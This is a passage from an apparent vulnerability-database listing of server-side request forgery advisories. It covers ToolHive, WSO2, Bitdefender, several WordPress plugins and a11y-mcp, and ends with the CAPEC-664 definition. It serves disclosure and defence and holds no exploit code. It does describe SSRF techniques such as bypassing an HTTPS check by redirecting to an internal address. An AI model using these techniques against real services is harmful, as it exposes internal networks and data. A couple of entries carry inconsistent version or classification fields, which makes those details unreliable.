(pkg/networking/utilities.go:105) for `FetchResourceMetadata`, `DetectAuthenticationFromServer`, and the issuer-discovery client. Re-validating the redirect target, not only the initial URL, is the load-bearing part: the discovery.go:911 HTTPS check is bypassed by a `302` from an HTTPS metadata URL to an internal `http` address.\n\n## Verification status\nThe resource_metadata path was dynamically reproduced with a recording (against commit 05f11b53; the sink code at HEAD b672d82f is source-identical, with the unguarded clients and the three `#nosec G704` suppressions confirmed present). The OIDC issuer discovery path is confirmed by source review against the same unguarded client and is in scope of the same fix.",
  "id": "GHSA-pr64-jmmf-jp54",
  "modified": "2026-07-15T23:41:21Z",
  "published": "2026-07-15T23:41:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/stacklok/toolhive/security/advisories/GHSA-pr64-jmmf-jp54"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/stacklok/toolhive"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "ToolHive: SSRF in remote MCP server authentication discovery (host-side, bypasses container isolation)"
}

GHSA-PR66-GFW7-8W5P

Vulnerability from github – Published: 2022-05-24 16:45 – Updated: 2025-05-30 18:30
VLAI
Details

An issue was discovered in WSO2 Dashboard Server 2.0.0. It is possible to force the application to perform requests to the internal workstation (port-scanning) and to perform requests to adjacent workstations (network-scanning), aka SSRF.

Severity
5.8 (Medium)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-6516"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-05-14T15:29:00Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in WSO2 Dashboard Server 2.0.0. It is possible to force the application to perform requests to the internal workstation (port-scanning) and to perform requests to adjacent workstations (network-scanning), aka SSRF.",
  "id": "GHSA-pr66-gfw7-8w5p",
  "modified": "2025-05-30T18:30:35Z",
  "published": "2022-05-24T16:45:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-6516"
    },
    {
      "type": "WEB",
      "url": "https://cds.thalesgroup.com/en/tcs-cert/CVE-2019-6516"
    },
    {
      "type": "WEB",
      "url": "https://wso2.com/security-patch-releases/dashboard-server"
    },
    {
      "type": "WEB",
      "url": "https://www.excellium-services.com/cert-xlm-advisory"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PR6V-CC4G-CPXJ

Vulnerability from github – Published: 2021-11-25 00:00 – Updated: 2021-11-30 00:00
VLAI
Details

A Server-Side Request Forgery (SSRF) vulnerability in the EPPUpdateService component of Bitdefender Endpoint Security Tools allows an attacker to proxy requests to the relay server. This issue affects: Bitdefender Endpoint Security Tools versions prior to 6.6.27.390; versions prior to 7.1.2.33. Bitdefender GravityZone 6.24.1-1.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-3552"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-11-24T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "A Server-Side Request Forgery (SSRF) vulnerability in the EPPUpdateService component of Bitdefender Endpoint Security Tools allows an attacker to proxy requests to the relay server. This issue affects: Bitdefender Endpoint Security Tools versions prior to 6.6.27.390; versions prior to 7.1.2.33. Bitdefender GravityZone 6.24.1-1.",
  "id": "GHSA-pr6v-cc4g-cpxj",
  "modified": "2021-11-30T00:00:52Z",
  "published": "2021-11-25T00:00:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3552"
    },
    {
      "type": "WEB",
      "url": "https://www.bitdefender.com/support/security-advisories/insufficient-validation-regular-expression-eppupdateservice-config-file-va-9825"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-PRCM-PH2C-QH2P

Vulnerability from github – Published: 2026-01-22 18:30 – Updated: 2026-01-22 21:33
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in Craig Hewitt Seriously Simple Podcasting seriously-simple-podcasting allows Server Side Request Forgery.This issue affects Seriously Simple Podcasting: from n/a through <= 3.14.1.

Severity
4.6 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-24360"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-22T17:16:39Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in Craig Hewitt Seriously Simple Podcasting seriously-simple-podcasting allows Server Side Request Forgery.This issue affects Seriously Simple Podcasting: from n/a through \u003c= 3.14.1.",
  "id": "GHSA-prcm-ph2c-qh2p",
  "modified": "2026-01-22T21:33:46Z",
  "published": "2026-01-22T18:30:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24360"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/seriously-simple-podcasting/vulnerability/wordpress-seriously-simple-podcasting-plugin-3-14-1-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PRMX-7V35-7Q82

Vulnerability from github – Published: 2026-04-02 09:30 – Updated: 2026-04-04 05:35
VLAI
Summary
a11y-mcp: Server-Side Request Forgery (SSRF) vulnerability in A11yServer function
Details

A vulnerability was found in priyankark a11y-mcp up to 1.0.5. This vulnerability affects the function A11yServer of the file src/index.js. The manipulation results in server-side request forgery. The attack must be initiated from a local position. The exploit has been made public and could be used. This product operates on a rolling release basis, ensuring continuous delivery. Consequently, there are no version details for either affected or updated releases.

Upgrading to version 1.0.6 is able to resolve this issue. The patch is identified as e3e11c9e8482bd06b82fd9fced67be4856f0dffc. It is recommended to upgrade the affected component. The vendor acknowledged the issue but provides additional context for the CVSS rating: "a11y-mcp is a local stdio MCP server - it has no HTTP endpoint and is not network-accessible. The caller is always the local user or an LLM acting on their behalf with user approval."

Severity
5.3 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
1.9 (Low)
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "a11y-mcp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-5323"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-04T05:35:52Z",
    "nvd_published_at": "2026-04-02T07:15:58Z",
    "severity": "LOW"
  },
  "details": "A vulnerability was found in priyankark a11y-mcp up to 1.0.5. This vulnerability affects the function A11yServer of the file src/index.js. The manipulation results in server-side request forgery. The attack must be initiated from a local position. The exploit has been made public and could be used. This product operates on a rolling release basis, ensuring continuous delivery. Consequently, there are no version details for either affected or updated releases. \n\nUpgrading to version 1.0.6 is able to resolve this issue. The patch is identified as e3e11c9e8482bd06b82fd9fced67be4856f0dffc. It is recommended to upgrade the affected component. The vendor acknowledged the issue but provides additional context for the CVSS rating: \"a11y-mcp is a local stdio MCP server - it has no HTTP endpoint and is not network-accessible. The caller is always the local user or an LLM acting on their behalf with user approval.\"",
  "id": "GHSA-prmx-7v35-7q82",
  "modified": "2026-04-04T05:35:52Z",
  "published": "2026-04-02T09:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5323"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wing3e/public_exp/issues/17"
    },
    {
      "type": "WEB",
      "url": "https://github.com/priyankark/a11y-mcp/commit/e3e11c9e8482bd06b82fd9fced67be4856f0dffc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/priyankark/a11y-mcp"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/780752"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/354655"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/354655/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "a11y-mcp: Server-Side Request Forgery (SSRF) vulnerability in A11yServer function"
}

GHSA-PRQH-6JH9-2QR5

Vulnerability from github – Published: 2025-01-22 09:32 – Updated: 2025-01-22 09:32
VLAI
Details

The AI Power: Complete AI Pack plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.8.96 via the wpaicg_troubleshoot_add_vector(). This makes it possible for authenticated attackers, with subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-13360"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-22T08:15:08Z",
    "severity": "MODERATE"
  },
  "details": "The AI Power: Complete AI Pack plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.8.96 via the wpaicg_troubleshoot_add_vector(). This makes it possible for authenticated attackers, with subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
  "id": "GHSA-prqh-6jh9-2qr5",
  "modified": "2025-01-22T09:32:01Z",
  "published": "2025-01-22T09:32:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13360"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3224162"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5cf6cbba-0e0c-4d2c-90d0-d7e0a5222df2?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PRVW-WJC6-4GF5

Vulnerability from github – Published: 2026-01-13 18:31 – Updated: 2026-01-14 15:32
VLAI
Details

Insecure permissions in Hubert Imoveis e Administracao Ltda Hub v2.0 1.27.3 allows authenticated attackers with low-level privileges to access other users' information via a crafted API request.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-65784"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-13T17:15:58Z",
    "severity": "MODERATE"
  },
  "details": "Insecure permissions in Hubert Imoveis e Administracao Ltda Hub v2.0 1.27.3 allows authenticated attackers with low-level privileges to access other users\u0027 information via a crafted API request.",
  "id": "GHSA-prvw-wjc6-4gf5",
  "modified": "2026-01-14T15:32:59Z",
  "published": "2026-01-13T18:31:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65784"
    },
    {
      "type": "WEB",
      "url": "https://github.com/carlos-artmann/vulnerability-research/tree/main/CVE-2025-65784"
    },
    {
      "type": "WEB",
      "url": "http://hub.com"
    },
    {
      "type": "WEB",
      "url": "http://hubert.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list